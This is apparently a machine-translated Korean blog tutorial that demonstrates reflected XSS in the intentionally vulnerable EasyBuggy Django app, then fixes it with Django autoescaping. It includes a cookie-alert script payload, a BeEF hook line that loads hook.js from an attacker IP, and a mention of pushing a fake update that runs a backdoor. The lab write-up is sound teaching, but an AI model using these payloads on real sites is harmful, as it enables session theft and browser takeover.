EasyBuggy django에서 XSS (by BeEF)

이 기사를 읽으면 무엇을 알 수 있습니까?



・XSS(크로스 사이트 스프릭팅)의 개요
· XSS 도구 인 BeEF 사용법
· XSS에 취약한 django의 코드와 대책법 (아직)

소개



EasyBuggy 장고을 사용하여 XSS (cross-site splicting) 기술을 사용해 봅시다. XSS에는 BeEF이라는 편리한 도구도 있으므로 그것도 사용합니다.
환경 구축은 이 기사 입니다.

XSS란?



자바 스크립트를 악용하고 다양한 것 같습니다. 자세한 설명은 모르기 때문에 두고, 실제 동작을 살펴 보겠습니다.

EasyBuggy 장고에서 XSS



EasyBuggy의 XSS 페이지는 다음과 같은 화면입니다.



입력란이 준비되어 있어 문자열을 입력하면 역으로 표시해 주는 서비스입니다.

표시된 대로 ">tpircs/<;)eikooc.tnemucod(trela>tpIrcs<"를 입력해 봅니다.


뭔가 나오지 않으면 안되는 것이 나와 버린 느낌이 듭니다. 무슨 일이 있었습니까?

본래라면 역행의 문자열이 표시되어야 하는 곳의 HTML을 확인해 보면, 다음과 같은 기술이 발견됩니다.
<scrIpt>alert(document.cookie);</script> 

이것은> tpircs/<;) eikooc.tnemucod (trela> tpIrcs <의 거꾸로 배열이므로, 이것을 이해할 수 있습니다.이 코드는 javascript입니다. 라는 동작을 합니다.

즉, 자바 스크립트로 해석 할 수있는 문자열을 입력하여 예상하지 못한 동작을 일으키는 것이 XSS입니다.

Let's exploit!



위의 예라면 자신의 쿠키를 표시한 것만으로 무엇이 이상한가라고 생각할지도 모릅니다. 그러나 중요한 것은 자바 스크립트를 브라우저에서 조작 할 수 있다는 것입니다. 즉, javascript로 할 수 있다면 할 수 있다는 것입니다. 여러가지 할 것 같다.

자바 스크립트 코드를 작성하여 다양한 작업을 수행 할 수 있어야하지만 자바 스크립트를 작성할 수 없기 때문에 편의를 위해 BeEF을 사용합니다.

BeEF



BeEF는 kali에 표준으로 들어 있습니다. 아이콘 클릭으로 시작하면 브라우저에서 로그인 화면이 열립니다. id,pass 모두 beef입니다. 로그인 후는 다음과 같은 화면이 됩니다.



BeEF를 사용하려면 대상 PC를 후크해야합니다. 대상이 다음 코드를 실행하면 훅을 할 수 있습니다.
<script src="http://<IP>:3000/hook.js"></script>

(BeEF 시작) 공격자의 IP 주소를 입력하십시오.

실행 예



우분투 측에서 hook되기위한 코드를 실행하고 BeEF에서 우분투 측의 브라우저에 메시지를 표시하고 싶습니다.



잘 작동했습니다! 그 밖에도 브라우저의 업데이트를 치고 백도어를 실행시키는 방법등도 있어, 여러가지 할 수 있습니다.

XSS 대책



XSS의 대책으로서, 특별한 의미를 가지는 문자를 그대로 처리하지 않고, 치환해 처리하는 방법(이스케이프)이 있습니다. 특별한 문자로는 <>&'"등을 들 수 있습니다.
php의 예이지만 이 기사이 참고가됩니다.

EasyBuggy 소스 확인



EasyBuggy의 해당 코드를 확인해 봅시다.

xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}

중요한 부분은
{% autoescape off %}
<p>{{ msg }}</p><br/>
{% endautoescape %}

의 부분입니다. 사실 django는 기본적으로 자동으로 이스케이프됩니다. 위에서는이 기능을 off로하고 있습니다. 다음과 같이 다시 작성해 보겠습니다.

xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    escaped
    <p>{{ msg }}</p><br/>
    not escaped
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}

브라우저에서 확인해 봅시다.



자동 이스케이프를 비활성화하지 않은 분은 이스케이프가 잘 수행되고 있음을 알 수 있습니다.

요약



XSS의 악용 방법과 django에서의 대책을 정리했습니다.

좋은 웹페이지 즐겨찾기